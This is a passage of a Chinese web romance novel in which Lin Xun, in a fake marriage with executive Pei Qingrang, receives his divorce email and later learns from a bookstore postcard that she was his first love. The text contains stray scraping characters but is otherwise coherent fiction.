林姰眉眼弯折出惊喜的弧度,瞳孔特别亮:“怎么突然来?了?” 裴清让温声:“中?午看到公司有这?个。” 他把打包的盒子递给她,是她最?喜欢的那家无?花果蛋糕和几样甜品,都是心头好。 林姰忍不住想象,这?么一个不苟言笑、看起来?非常禁欲的、非常高高在上的西装帅哥,拎着粉色点心盒子从?苍梧离开的样子,觉得裴清让真的可爱死了。 密闭的车内空间,只有他们两个,空气?都是甜的。 林姰拆开精致的包装,叉子叉下去,第一口下意识喂到裴清让嘴边:“张嘴。” 裴清让温声提醒:“只有一个叉子。” “我又不嫌弃你,而且……”林姰完全?没当回事儿,清凌凌的目光很直白,“你接吻的时候没伸过舌头吗?” 裴清让蹙眉:“林姰。” 似是气?她什么话都可以张口就来?,沉冷的嗓音里暗含警告,偏偏又有无?可奈何的纵容。 林姰一点都不怕他:“快点儿嘛。”尾音绵软,撒娇而不自知。 裴清让垂眸,长而浓密的睫毛投影,低头、启唇、咬上她喂过来?的蛋糕。 林姰发现,这?人的耳朵又红了,从?耳朵蔓延到脖颈,收束在规整锋利的衬衫领口中?,完美诠释什么叫秀色可餐。 她随口说?:“以后七老八十身体不好了,指不定谁喂谁呢。” 裴清让怔在那里,原本漫不经心搭在方向盘上的手轻轻攥紧,骨节分明发白。 让送点心的人吃了第一口,林姰才自己吃,嘴角自始至终弯着。 她笑得比以前多,是他以前从?没见过的模样,就好像一只小小的刺猬,慢慢开始放下防备,露出柔软的肚皮。 林姰问:“你是不是看到无?花果就会想起我?” 淡漠矜贵的男人轻摇头。 好吧,是她自作多情了,林姰莫名?失落。 而后听见一句:“不看到也会。” 那冰冷的声线因为咬字清晰,显出格外?认真的意味,落在她的耳边就变成一簇、一簇的小小烟花,在脑海炸裂,让人目眩神?迷。 如果人一生中?的运气?守恒,她以前吃了很多苦,那么现在遇到裴清让,她愿意把心底的埋怨一笔勾销。 “裴清让。” “嗯。” 无?花果的清甜气?息弥漫在两人之间。 林姰小声感叹:“我以后可能遇不到你这?么好的人了。” 她的眸光真挚,没有半分玩笑,而是很认真地看着他的眼睛。 今天的裴清让,明明一身冷硬的西装,可不知道为什么,透着格外?温柔的气?息。 他无?声弯起嘴角,笑意纯粹,唇红齿白,那双锋利的眼睛也柔和,目光如水落在她的脸颊。 “比我好的人可太多了,你会遇到的。” 他修长而骨节分明的手指覆在她发顶揉了揉:“东西送到我就走了。” 林姰抿唇。 他都不跟她多待一会吗? 他不知道比起无?花果蛋糕,其实现在她更喜欢他吗? 林姰嘴角下撇:“所以你从?城东的苍梧,跑到城西的乐游,就只是为了送这?个?” 裴清让手搭在方向盘上,倾身过来?吻了一下她的脸,很轻很浅的一小下。 目光相?对,他柔声说?:“还?为了,见你一下。”- 林姰下班到家,晚饭已经准备好,狗狗和他都在等?她。 餐桌上有裴清让新?买的鲜花,放在透明花瓶里,在灯下那香气?都璀璨。 英俊高大的男人,端着最?后一道菜放到餐桌,对她说?:“洗手,吃饭。” 林姰眉眼弯弯,先?踮起脚尖在他唇上碰了一下才乖乖照做。 饭后,他们一起出门遛狗。 这?次裴清让没有忘记她会手冷,一只手牵着狗狗,另一只手向后勾了勾,示意她牵上来?。 与他十指紧扣的瞬间,林姰嘴角上扬,期待时间不要继续流动,不如就静止在此时此刻。 回家之后,洗完澡的睡前时刻。 林姰问:“上次那部暗恋的剧还?有两集,我们看完?” 裴清让点头说?好。 其实本意不是看剧,就只是想要找个借口,和裴清让多待一会儿。 林姰看得三心二意,她觉得男主没有裴清让好看,也没有裴清让让她心动,最?后宁可和身边的狗狗玩耍。 只是,她的性格里有很悲观的部分,总忍不住在最?幸福的时刻想象幸福消失。 她捂住狗狗的耳朵,这?才小小声问裴清让:“狗狗的寿命是不是只有十几岁?” 裴清让:“是。” 林姰垂眸对上狗狗天真湿润的眼睛,语气?低落:“那岂不是总有一天要分开。” 她的视线自始至终都在狗狗身上,所以没有发现,身侧那人目光干净温柔落在她身上。 “那你说?,明知道有一天会分开,还?要开始吗?” “要。” 林姰抬眸,两人的视线碰撞在一起:“那分开的时候不是会很难过吗?” “难过也没关系。” 裴清让睫毛鸦羽般垂落,漆黑眼底似有情绪一晃而过、看不分明。 “能和她有过一些瞬间,就可以了。” 每个字音落在耳边,沁入心底,柔柔软软化成水。 只需要有一些瞬间,就可以了吗? 只需要有一些瞬间,就可以心甘情愿让所有难过一笔勾销吗? 明明是同一件事,裴清让却和她有着截然不同的见解。 他怎么可以这?样温柔,温柔到一点戾气?都没有,轻易就能让人心软。 也许是裴清让身上的气?息太清冽太让人安心。 狗狗不知不觉趴在他的腿上睡着,林姰也一样,脑袋歪了歪靠到他的肩上。 裴清让不动声色调整姿势,让林姰靠得舒服一些。 大结局播了多久,他看了她多久。 其实他撒谎了。 他并不想只要几个瞬间。 他想要时间暂停,地老天荒。 明明冬天昼短夜长,为什么还?是觉得夜晚短暂。 直到林姰睫毛颤动,慢慢睁开眼睛,他不着痕迹移开视线。 投影屏幕上,出现“全?剧终”的字样。 最?后有行字一晃而过,林姰还?没来?得及看清,就已经消失。 她隐约记得剧是悲剧,男主暗恋女主多年,最?后还?是没能在一起,也没能让女主知道自己的心意。 林姰睡眼惺忪,开口的时候鼻音柔软,好奇道:“大结局的最?后一句话是什么?” 裴清让微微偏头,下巴轻轻贴着她的额头,如同一个缱绻的吻。 近距离看,那双眼睛怎么会那么漂亮,住着月亮般,瞳孔亮也柔和。 他的声音很轻,语速放慢,悦耳得如同恋人间的情话:“看到你的第一眼,我就喜欢你了。”第54章 第 54 章 去看男模 —— 看?到你?的第一眼?, 我就喜欢你?了。 月光勾勒出他?眉峰鼻梁漂亮的弧度,裴清让安静看?人的时候,那?双微微凹陷的眼?睛太深情?, 就好像真?的被他?深爱。 以至于林姰在听到他?说喜欢的此时此刻,心脏如同被他?捏在手里、跳动不由自己, 而他?在耳边轻轻说出的这句话不是电影台词, 是他?在和自己表白。 她?靠在他?肩上, 懒得起身:“所以男主还是告诉女主, 他?喜欢她?了吗?” 裴清让淡淡“嗯”了一声。 林姰又问:“所以结局是好的?” 裴清让轻点头。 放在桌上的手机震动, 屏幕亮起, 提醒他?明天?的航班信息, 无形中仿佛一只沙漏,已经为他?们在一起的时间倒计时。 耳边,林姰咕哝:“我怎么记得是悲剧, 男女主没有在一起来着……” 她?当时无意刷到推荐这部?剧的营销号,标题是:【年度最感人BE暗恋!谁看?谁哭死!】 当时林姰不信这个邪, 她?对暗恋题材没有半分兴趣, 就只是想要挑战一下, 看?看?自己是不是真?的会哭, 现在看?到结局, 她?没有掉半滴眼?泪。 所以是她?记错了吗?还是营销号为了吸引眼?球故意乱写? 她?不在意也?不感兴趣,比起营销号,她?当然更相信裴清让。 裴清让说是好的, 那?就一定是好的了。 翌日?清早。 林姰起床的时候裴清让已经准备出门。 目光触及他?手边的行李箱,她?忍不住蹙眉:“又要出差吗?” 裴清让应声,衬衫西裤衬得身形修长锋利至极,本来他?肩背就挺, 看?着像一把出鞘的利剑。 林姰嘴角下撇,清亮瞳孔深处,是她?自己都没意识到的眷恋:“这次要去?多久?” 裴清让骨节分明的手覆在她?发顶揉了揉:“不好说。” 林姰隐约知道一点,苍梧现在在自研3纳米芯片的关键时期,却在这个关口面临被资本主义国家封锁,芯片设计、代工、封发的产业链上涉及无数个国家,但凡有那?么几个国家“断供”,这条产业链也?就断了。 外人眼?里裴清让位高权重?、目下无尘,可是那?样大的压力压在肩上、并非常人能扛,她?帮不上忙,更不可能随着自己喜好把这个人金屋藏娇。 她?忍不住轻叹口气:“走吧,不要耽误飞机。” 裴清让站在那?里没动,那?双清澈如水的眼?睛里,似乎有细碎情?绪掩映在长睫之下,看?不分明也?不可捉摸。 “林姰。” “怎么了?” 林姰长发散在肩侧胸前,一身舒服的卫衣卫裤,柔软没有棱角。 裴清让轻声嘱咐:“晚饭和鲜花会有人定时来送。” 林姰眼?尾轻轻弯起:“会不会有点浪费?” 裴清让:“你?喜欢就不算浪费。” 林姰想说她?不是喜欢花,她?喜欢的是送花的人。 等裴清让回来她?也?要问一问他?喜欢什么,不能总让他?单方面对她?好。 顺便?再问一句——林姰呢?林姰你?喜不喜欢? 她?不知道裴清让是怎么把喜欢藏在心里十?多年的,怎么能克制得了呢?她?连一个星期都藏不住。 喜欢就像是胸腔振翅的蝴蝶,在她?每次跟他?接吻、跟他?讲话的时刻,迫不及待要飞向他?。 他?揉她?脑袋的手下滑,落在她?的脸颊,指尖带着无限眷恋一般,让她?觉得自己正在被人视若珍宝。 “止疼药在客厅抽屉的第二?格,不要再忘记。” 被他?触碰的脸颊在无可救药发烫,林姰声音也?软下来:“我只有生理期才会吃止疼药,平时用不到的。” 而且距离下次生理期还要近一个月,那?个时候裴清让肯定已经回来,他?都已经承诺过了,下次生理期肚子疼的时候,他?会陪着自己。 但是他?声音本来就很好听,放轻语气说话的时候超级温柔、完全是轻声细语的那?一挂,林姰很吃这套,点头如小鸡捉米,顺便?问他?:“还有其他?要说的吗?” 大概是带过妹妹的关系,裴清让其实有点“爹系”,他?习惯照顾人,所以总是想得更多,但是心思细腻却又不冒犯、很有边界感。 林姰忍不住感叹,这个人真?是哪儿?哪儿?都挑不出毛病,自己高中那?会儿?眼?睛只知道死盯着成绩和课本,这么大一帅哥给自己当过同桌,竟然都不为所动。 “之前手术的时候,医生让你?定期体检。” 林姰自己都忘了,当初出院医生让她半年就去复查,没想到裴清让还帮她?记着。 但是医院那种地方,被人陪过一次,就不想再形单影只,她?皱着眉小声问:“我就不能等你回来跟我一起吗?我不喜欢自己去?医院……” 坦荡无畏的瞳孔里,难得流露出小心翼翼的渴求。 裴清让嗓音发涩,片刻后,低低应了句:“那我快一点。” 林姰点头:“这才对嘛。” 熹微晨光勾勒出她?脸颊的柔软弧度,她?眼?尾弯着、嘴角翘着,明眸皓齿。 裴清让:“书房抽屉里留了一张卡,替我给你?买蛋糕。” 林姰睫毛扑闪,就是出个差而已,他?怎么好像把她?当生活不能自理的小朋友了。 她?威胁他?:“你?最好快点回来,不然我就拿那?张卡去?看?男模。” 裴清让垂着长长的睫毛,无声勾起嘴角:“也?可以,只要你?高兴,但不要被骗。” 如果换做平时,裴清让应该会捏她?的脸、又或者敲她?的额头,让她?清醒,为什么今天?的裴清让对她?听之任之、纵容和温柔完全没有度。 裴清让最后说:“这次可能会很忙,也?可能会很久,不能及时回你?信息。” 所以,这次事情?是真?的有些严重?了吧? 之前两人之间隔着十?几个小时时差,他?都能秒回。 林姰说好,眼?下她?不能给他?添麻烦,也?不应该让他?担心。 所以即使非常非常不舍、甚至想要裴清让带她?一起,她?也?只是说:“放心吧,我最近应该也?要加班,没时间给你?发信息。” 脸侧一空,是他?的手垂下,清冷凝定的嗓音落在空气中:“那?我走了。” 对于裴清让来说,出差是家常便?饭,他?们假结婚之后,他?出差的频率比她?这个牛马还要夸张,工作强度也?非常人能忍受。 可这是第一次,林姰想要握住他?去?开门的那?只手,或者跟他?商量:出差能不能家属?我休个年假跟你?一起。 门在面前带上。 林姰刚才想叹的那?口气,才重?重?叹了出来。 而后突然想到,只顾着失落都忘记亲一下。 裴清让一离开,那?种心里发空的感觉慢慢袭来,时间从这一秒开始变得难熬。 她?垂着脑袋,忽然不知道自己应该去?做什么。 下一刻,被带上的门又被人打开。 她?怔愣着抬眸:“是忘记带……” 话还没有说完,她?猝不及防被人扯到怀里,嘴唇被吻住,难以再发出一个完整音节,裴清让修长而骨节分明的手指托在她?的脖颈,将她?带向他?,带着不容拒绝的力道。 他?吻得很深,极尽温柔,极尽缠绵。 林姰在让人脸热的亲吻里,轻轻抱住他?的腰,西装布料冷硬,他?人近在眼?前,却仍有无法逾越的距离感。 当相贴的脸颊分开,两人都呼吸不稳,鼻尖相抵、将来吻未吻的距离气息缱绻交错。 “裴清让。” “嗯。” “我有话要跟你?说,”林姰眼?眸清澈、透亮,嘴唇被吮得发红、充血,但是看?着他?的眼?睛一字一顿说,“所以你?一定要快点回来,知道吗?” 裴清让长睫低垂,掩过眼?底汹涌而至的情?绪。 他?最后吻上她?的唇,轻声说:“林姰,再见。”- 与此同时,林姰手里东恒的项目到了测试阶段,测试全部?通过后,智能座舱才能装到车上。 林姰的工作量飙升,软件需要单元测试、集成测试一个环节一个环节往下走,硬件则需要测试各个端口是否正常,这段时间可谓是bug集中爆发期。 每天?上班她?都要面对密密麻麻的问题清单表,日?清会不知道开了多少个,期间还要不断地和研发人员、测试人员沟通协调,部?门之间的推诿扯皮最耗费精力也?最浪费时间。 她?这边忙得脚不沾地、饭都吃不上,陈万豪那?边倒是优哉游哉,他?的主要工作任务是抢功,把她?完成的工作说成是自己的。 比如林姰总结这段时间测试情?况写出的报告,一不小心就被他?拿去?跟方茂森、辛城汇报,功劳苦劳全部?被端走,林姰人都气笑了。 解决完最后一个bug,她?就要解决陈万豪了。 林姰开始忙得一天?只吃一顿午饭,狗狗托付给时间相对宽裕的祝余,一连几个晚上睡在公司休息室,每天?靠着咖啡续命。 可即使忙成这副鬼样子,她?还是会在某个瞬间无可救药想起裴清让,想起他?的时候,冷漠、坚硬的心脏如同被按下开关,重?新开始砰砰跳动,鲜活、柔软、没有盔甲、也?可以轻易被伤害。 芯片禁令愈演愈烈,甚至还有人猜测资本主义国家要“围剿”苍梧,外界一片唱衰的声音。 她?只是担着东恒一个项目就觉得很头疼了,那?裴清让的压力到底是有多大,她?想象不出来也?不敢轻易打扰,几次拿出手机想发消息,最后还是作罢。 这个害她?朝思暮想的混蛋。 难得不加班可以喘口气的晚上,林姰去?祝余家接回狗狗。 寒冷冬夜,落地窗外灯火通明,落地窗内温暖如春,可是空空荡荡。 因她?长时间加班,插在玻璃瓶里的鲜花已经枯萎,没有人准备好晚饭、在她?回家之后温温柔柔说一句:洗手、吃饭。 怎么一闲下来,满脑子都是他?。 送餐的小姐姐按下门铃,笑着喊她?:“宝贝女士,我们又见面了。” 林姰无声弯起嘴角,签收第不知道多少顿没有裴清让的晚餐。 她?终于克制不住,点开裴清让的对话框。 上一条信息还停留在两周之前,他?说“我在楼下”。 简简单单四个字从他?嘴里说出来,就有了让人心动的魔力。 她?还记得那?天?,她?只是有点想他?,并没有想要立刻见到他?。 这个人却已经从城东跑到城西,还带着她?最喜欢的无花果蛋糕。 她?记得他?吻过脸颊轻而又轻的那?一下,也?记得他?说“还想要见你?一面”。 所以好几个加班加得昏天?黑地的中午,她?都下意识按亮手机,想他?会不会已经回来,会不会已经等在楼下,如果她?走出公司大楼,会不会看?到他?的黑色越野车。 有多少次期待,就有多少次失望,人真?的是很贪婪的动物,一旦尝到一点点甜头,就想据为己有。 林姰给裴清让发去?他?离开后的第一条消息:【还不回来吗?狗狗都想你?了。】 那?个瞬间,她?蓦地上次他?出差回来,她?问他?想念一个人是什么感觉。 当时他?们刚接过吻,他?在她?的耳边吐字清晰:只敢以小狗的名义说想她?。 裴清让喜欢她?吗? 应该是喜欢的吧。 等他?回来,她?要告诉他?:我们不要再接不清不楚的吻。 接吻不是因为我喜欢接吻,而是因为我喜欢你?,除了你?谁都不行。 既然已经决定表白,林姰把“小狗想你?了”删掉,大大方方改成:我想你?了。 她?直白地说过很多“混账话”,比这过分、比这不正经,在不走心的情?况下。 此时此刻,她?看?着对话框里还没有发出的这四个字,耳朵在慢慢发烫,指尖迟迟按不下发送键。 而就在信息发出的前一秒,手机响起邮件提示音。 谁啊,下班时间还发邮件。 林姰充满怨言却又怕有什么要紧事,退出聊天?窗口点开邮箱。 只一眼?,她?的目光就顿住了。 有半分钟的时间里,她?的脑袋空白一片。 亮起的手机屏幕上,第一句话就是:“林姰,我们到此为止吧。” 她?的视线,麻木而迟钝地扫完整篇邮件的内容,大意是分开之后,裴清让愿意付给她?的“薪酬”,能让她?后半辈子挥金如土衣食无忧,此外还提到,即使他?在国外,离婚诉讼仍然可以正常办理。 邮件落款裴清让。 邮箱正是结婚前,他?给自己发体检报告、征信报告、基因检测报告的那?个。 这是她?假结婚之前最想要的结果。 她?想的就是,找一个彼此不喜欢的人,这样分开的时候可以干干净净,如果能预料,这个彼此不喜欢的人愿意在离婚之后、给她?家财万贯,她?恐怕做梦都要笑醒。 林姰笑了,笑得鼻腔酸涩、眼?眶发热。 难怪他?离开的时候,告诉自己止疼药在哪、叮嘱自己按时体检。 她?可真?是,谢谢他?了。 她?因为总是受伤,在经年累月的时间里形成的保护机制,在这一刻条件反射般严阵以待。 手指打字,没有半分迟疑—— 跟你?接吻的时候我也?挺开心的,反正我也?没有喜欢你?,你?也?不用觉得对不起我,离婚我只要狗狗,我们好聚好散。 祝裴总前程似锦,鹏程万里。 落款林姰。 邮件干净利落按下发送,连带心里有块位置,也?如同被利刃剥离。 手机从手里滑落到地毯上,所有力气在一瞬间抽离。 有什么湿润、微凉顺着脸颊轮廓滑落。 林姰麻木地抬起手背蹭了下,才发现自己掉眼?泪了。 她?冷眼?看?着手背上的水迹。 难怪,难怪裴清让说喜欢一个人会难过,让她?当被喜欢的那?个。 原来喜欢的人不喜欢自己,是这种感觉啊。 原来经年累月的时间里,那?个混蛋一直活在这样的感觉里。 她?一个人站在裴清让离开那?天?吻她?的位置,泪如雨下。第55章 第 55 章 是白月光 林姰没有给自己留出难过的?时?间, 又或者?说,她二?十?多岁的?人生里,痛苦、无助、难过这些负面情绪太过常见, 尤其是“不被爱”这一件,她处理起来简直得心应手。 她冷眼、仿佛是以第三人的?视角, 漠然看着那?个脆弱无助的?自己, 就像爸爸妈妈曾经做的?那?样, 在心底冷声质问:哭够了没?哭够了可以走了。 眼泪都没擦干, 她已?经开始收拾东西, 如非必要, 能扔则扔, 她不要任何一样东西、让她在某个瞬间不受控制地想起那?个混蛋。 只是去书房拿电脑的?时?候,裴清让带回来的?粉色水晶,端端正正摆在那?里。 公园的?大师算得一点都不准, 还说什?么结婚之后会有人对?她死心塌地,骗傻子呢。 东西都是裴清让的?, 所?以行李很快就收拾好了, 她不要他的?房、车、卡, 她只想带走狗狗。 叫的?车在前来的?路上, 还有一个红绿灯的?距离。 林姰站在空空荡荡的?客厅, 被拼命压制的?情绪兜头而来。 裴清让明明不在,却好像每一处都有他—— 阳台上,他带回好多榴莲给她开, 把她哄高兴了才问她发生了什?么事; 餐桌旁,他买了蛋糕、点了蜡烛,笑着跟她说很高兴认识你,生日快乐; 玄关处, 他推门而入,怀里探出狗狗的?脑袋,说喜欢的?话,就是你的?; 厨房里,他抱着她亲吻,告诉她想念一个人,是只敢以小狗的?名义说想她; 卧室里,他把她按在怀里,语气轻轻地说,不准欺负我?老婆…… 林姰垂着眼睛,鼻腔酸涩,眼眶又在发热,她死死咬住嘴唇,不让自己再掉半滴眼泪。 在眼泪夺眶而出之前,她毅然决然推开门。 门被带上的?那?刻,全世界都安静了- 林姰开始变得很忙,平日里卡点下班打卡、绝不在公司多待一秒钟的?人,现在天天加班到深夜,之前沾了枕头就可以睡着,现在却要把自己累到筋疲力?竭才能不失眠。 她把自己的?所?有时?间精力?都用在工作上,发泄一般,东恒的?用户体验被她做到了极致,赵然见她如此发奋图强,问她是不是要把陈万豪、方茂森、辛城这一条线上的?蚂蚱全部干掉。 林姰摇头。 她谁都没有告诉,结束这个项目之后,她就准备辞职了,她只是不能让自己闲下来,闲下来就会想不该想的?人。 她不要那?么没有出息。 不知道熬了多少通宵,东恒的?项目终于走到收尾阶段。 测试通过的?软硬件设施都已?经安装到车上,进行最后的?集成?和优化,整个系统的?测试和调试结束后,就可以准备新闻发布会了。 在这之前,林姰再次到苍梧开会,研讨集成?测试中的?细节。 休会期间,苍梧的?工作人员过来问:“有喜欢吃榴莲的?同事吗?今天下午茶榴莲无限供应,榴莲脑袋可以跟我?来。” 赵然戳戳林姰的?手臂:“走啊,去吃榴莲。” 林姰在那?个瞬间,蓦地想起裴清让总会在她心情不好的?时?候、买回家很多榴莲给她开,就那?么一个画面,就让吃榴莲的?兴奋荡然无存。 苍梧的?下午茶壕无人性,赵然掉进榴莲堆里、恨不得留下保洁:“你们公司是真有钱啊,怎么,你们老大喜欢吃榴莲?” 苍梧的?小姑娘,脑袋摇得跟个拨浪鼓似的?:“之前我?们吃榴莲都得躲着吃,还有一次总裁办的?小姐姐以为裴总外出,在办公室大吃特吃,结果?听说裴总回来都钻桌子下面去了!” 赵然:“那?你们裴总就是最讨厌榴莲的?那?种人啊!” 小姑娘点头如捣蒜:“还听李总说,留学的?时?候他跟裴总合租,在家吃了一次榴莲,被裴总亲切问候:你是不是把家里厕所?炸了?” 赵然笑得不行:“那?为什?么开始榴莲无限供应了?他突然开窍发现榴莲好吃了?” 小姑娘否定:“公司每周三榴莲不限量供应,平时?也有榴莲甜点,裴总从来不碰,但是会打包。” 赵然不解:“那?是为什?么?” 小姑娘笑着,一字一顿复述:“裴总的?原话是:我?爱人喜欢。” 我?爱人。 林姰把这三个字在唇齿间过了一边,无声笑了,弧度讽刺。 同居的?时?候,她怕裴清让忍受不了榴莲的?味道,所?以从来不在家吃榴莲,最多看看开榴莲的?视频解压,他第一次带她开榴莲的?时?候,明明说自己吃这个来着…… 她制止自己思维发散继续往下想。 她是在想什?么? 想从这些细枝末节里找出一点点裴清让喜欢她的证据吗? 他明明已经告诉她:“我们到此为止”。 走出苍梧大楼,暴雨倾盆。 等车排队的?时?候,放空的?大脑无意识期待,裴清让会不会突然出现,黑色雨伞撑过头顶。 她失神?地想,她可能真的?需要一些时?间,把脑海里有裴清让的?细节慢慢覆盖掉,那?样的?话,等下次下雨的?时?候,她就不会再想起他。 到出租屋时?,衣服还是不可避免湿透。 屋子里空空荡荡、一片漆黑,只有狗狗一如既往,在门口迎接。 不知是着凉还是最近忙起来没好好吃饭,肚子突然绞痛。 林姰进了卫生间,出来的?时?候才发现是生理期。 原来距离他离开已?经一个月了。 难怪他在离开之前跟她交代止痛药在哪里,是不是那?个时?候,他就已?经想要跟她离婚? 那?他为什?么还要吻她? 大概是跟自己一样,觉得这个人亲起来还不错,跟喜不喜欢、在不在一起通通没有关系。 那?年得知“心软的?神?”有喜欢的?女孩子,她给自己洗脑这个人现实?生活中肯定是你非常讨厌的?类型,比如秃顶、不如不爱锻炼、比如个子没有你高肚子倒是非常大……于是她只难过了一个晚上就满血复活。 眼下,她不能如此丑化裴清让,所?以她只能一遍一遍告诉你,你们在一起的?时?间不到一年,可他喜欢他的?白月光十?几年,他只是不排斥和你有亲密接触,并不是想要和你在一起…… 可是这个瞬间,她突然好想念红豆年糕的?味道,和清冽治愈的?怀抱。 失眠到无法入睡,林姰再次打开那?部和裴清让一起看完的?、据说非常非常虐的?网剧。 她曾嗤之以鼻的?暗恋,现在竟然能看懂了,甚至能体会男主喜欢一个不喜欢自己的?人的?心情。 林姰熬了一整个通宵,在天亮时?分,看到了大结局。 她一直等着圆满结局到来的?那?一刻,可是直到屏幕上出现“全剧终”三个字,女主也没有知道男主的?心意,而男主早在女主不知道的?时?间地点永远离开。 下个瞬间,看到什?么,林姰目光倏然一凝。 她和裴清让一起看结局的?时?候,曾经看到屏幕上有行字一晃而过,她没有看清,所?以问裴清让那?行字是什?么。 他告诉她,是:“看到你的?第一眼,我?就喜欢你了。” 现在,屏幕上黑色字体,清清楚楚,是——“如果?可以选择,下辈子我?不要喜欢你了。”- 没有谁离开谁就过不下去,某天林姰抬头,突然发现樱花已?经快要开了。 天气晴好的?周六,天气已?从零下到了十?几度,正是一年中最舒服的?时?间。 林姰一大早就接到祝余电话:“出门了吗出门了吗?” 她笑着应声:“这就到啦,我?的?大作家。” 接电话这会儿,林姰已?经走到书店门口。 祝余合作的?出版社搞了一次线下签售,她去年那?本关于暗恋的?小说销量不错,所?以这次在受邀之列。 祝余第一次参加这种活动,紧张得不行,非要她在现场陪着。 林姰在一堆作者?的?名字里,看到自己好友的?名字,拍照留念。 祝余的?人气远远超乎自己想象,林姰在来参加签售的?读者?行列里,看到一个穿帽衫牛仔裤的?高大身影,是苍梧现任的?研发总监,陈澍青。 看来两人进展不错,林姰为祝余感到高兴。 暗恋成?真、得偿所?愿,竟然是一件如此难的?事情。 她以前不知道,现在知道了。 林姰百无聊赖,在书店里闲逛。 因为有签售会的?关系,平日冷冷清清的?书店今天格外热闹,尤其是那?面满是明信片的?墙,吸引无数人驻足拍照。 “哇,快来看!” 林姰听到一声惊呼,循着声音回头。 一个女孩指着某张明信片,示意自己的?同伴去看。 同伴走过来,轻声念出明信片上的?字:“大胆去做你想做的?事……” 林姰心跳凝滞。 她第一次看到这张写给自己的?明信片时?,裴清让还在自己身边,她还以为可以和他有未来。 现在想起,竟然已?经恍然隔世,她怎么还没有忘记他,怎么还是会在跟他完全无关的?时?间地点,蓦地想起他。 她不想再在这里待下去了。 身后的?女孩子叽叽喳喳,继续往下念—— “‘谢谢你,你过得好吗’,也就是说,十?年后这张明信片,被叫林姰的?女孩子看到了是吗?” “对?啊,这下面是不是男生的?回复?” 林姰脚步停住,某根神?经在一瞬间被拉扯到极致。 而后听见女孩子继续往下念:“‘结婚了,和初恋。’” “也就是说,两个人还是错过了,是吗?” “是啊,哪有一个人能不抱希望地暗恋另一个人十?几年呢?” “所?以这个女孩不是男生的?初恋吗?” “也许男生喜欢的?第一个人是这个女孩,结婚的?是谈的?第一个女朋友呢?” 女孩子把明信片重新挂回它原来的?位置,唏嘘着离开。 那?道满是明信片的?墙,承载着无数人无法宣之于口的?想念。 林姰仰起头,看向那?张写着她的?名字的?。 ——谢谢 你,你过得好吗? ——结婚了,和初恋。 下面不知何时?有了回复,字迹一如既往清秀锋利。 她为他感到高兴,也为自己感到心酸。 大概这个世界上真的?有干净的?、纯粹的?、热烈的?爱意存在,只是不会属于自己。 “这张明信片终于被你看到了。” 一道轻而柔和的?嗓音落在耳边,林姰回头,是她熟悉的?店员小姐姐。 想到什?么,她忍不住问:“请问,您知道这张明信片是谁写的?吗?最近那?个人又来过吗?” 店员在这一刻露出讶异的?表情:“他一直都没告诉你吗?” 林姰茫然。 这个他是谁? 就在她的?身边吗? 见她是真的?什?么都不知道,店员小姐姐不可置信:“我?以为上次你们来之后,他会告诉你呢!” 心脏如同被什?么攥住骤然紧缩,林姰站在那?里,有那?么半分钟时?间大脑空白,如同溺于深海,她的?眼睛能看耳朵能听,却半个字都说不出来。 “上次你们离开之后,我?忍不住拍了一张照片,然后突然想起,你们上高中的?时?候,我?也拍过你们的?照片……” 她点开手机给林姰看:“我?一直想等下次遇到你,把两张照片一起发给你的?。” 屏幕里,一张照片是明月远悬天边,她牵着狗狗走在前面,裴清让走在后面,侧脸只有一个模糊的?轮廓,却能看出他在笑,清冷的?眉眼温柔。 店员指尖滑动,切换到下一张照片,旧时?光扑面而来—— 照片光影昏黄,像素很低,空气里的?浮尘都被染了一层金色。 男生靠着书架站,阳光勾勒出他青涩英俊的?脸庞,他看着某个方向,嘴角弯着,眼底有笑。 而在他看的?方向,有个女孩在看漫画,目不转睛,全然没有察觉。 林姰呆呆看着那?张照片,仿佛在看自己从来都不认识的?人。 店员小姐姐柔声问她:“高中时?,你每次来,他都在你后面,你没发现吗?” ——每次在书店遇见,都觉得自己中奖了。 ——或许他知道你不喜欢他,所?以他只是希望你好,仅此而已?。 ——喜欢人会难过,你还是当被喜欢的?那?个吧。 林姰站在那?里,好像看到了十?七岁的?裴清让—— 他总是在她的?身后,所?以才能在她淋雨的?第一瞬间将雨伞举过她的?头顶。 所?以他不是有什?么读心术,他是真的?很了解她。 所?以他也不是天生温柔,他只是很知道怎么对?她好。 所?以字字句句都是真心,只是被她当做玩笑从不当真。 被攥住的?心脏仿佛被什?么猛地刺穿,剖开皮肉直至最柔软不设防的?位置,疼得她想要蜷缩身体,在意识到之前,眼泪已?经夺眶而出。 所?以裴清让的?初恋是自己。 所?以裴清让十?年的?白月光是自己。 所?以那?个让他说出“喜欢一个人会难过”的?人是自己。 所?以那?句——“看见你的?第一眼,我?就喜欢你了”,根本不是什?么电影台词。 它不是电影的?男主人公对?女主人公说的?。 而是,裴清让对?林姰说的?。第56章 第 56 章 我喜欢你 原来一直以为?的不被爱的自己, 才是被人热烈爱着的那个。 干净的、胆怯的、纯粹的、炽热的喜欢,真真切切属于她,只是她从?来都没有回头看过一眼。 因为?她的不关心、不在意、没心没肺, 喜欢她的那个人,在她不知道的时间地?点, 吃了很多很多的苦。 “结婚了, 和初恋”, 每个字都如?利刃狠狠扎在她的心尖, 心脏每一次跳动都让痛苦迸发, 直至鲜血淋漓血肉模糊。 那场完美契合她喜好的婚礼, 根本不是担心太过寒酸会?丢苍梧的脸, 而?是他非常认真准备的、和自己喜欢的女孩子的婚礼,那片花海里?的每一朵花,都是他惊心挑选, 都只为?她一个人绽放。 而?她呢?处处敷衍、处处糊弄、差点迟到,裙子懒得买、一张合影都没留下, 甚至口口声声说?不需要摄像不需要跟拍, 因为?他们不是白发苍苍时坐在一起看结婚录像的关系, 还笑着跟他说?“幸亏你不喜欢我”。 她记得漫天烟花之下, 那双漂亮深邃的眼睛独独看向她, 跟她说?“以后遇到喜欢的人,不能被我比下去”。 她不知道裴清让说?这?句话的时候是怎样的心情,也不知道他说?“遇到喜欢的人, 你带他来,我帮你看”的时候有没有难过。 她只是用?自己的行?动一次一次地?告诉他:我不喜欢你,我不在乎你,我们总有一天会?离婚。 他从?一开始就是认真的, 所以才会?在她想要吻他的时候,问?出那句“是喜欢我还是只是想接吻”,后来明知道她只是想要跟他接吻、不想负责,还是随她想亲就亲、想抱就抱,最后腹肌给她摸了,喉结给她亲了,换不来一句喜欢。 她没心没肺吐出的每一句话每一个字,在这?一刻都变成锋利的匕首,反过来直直刺入自己的心脏,刀尖翻转,皮开肉绽,都是她应得。 原来,被自己喜欢的人伤害,和伤害自己喜欢的人,同样难过。 眼泪打湿手里?的明信片,晕染开他温温柔柔写下的“初恋”两个字。 混沌一片的大脑,突然迸发关于另一个人的片段—— 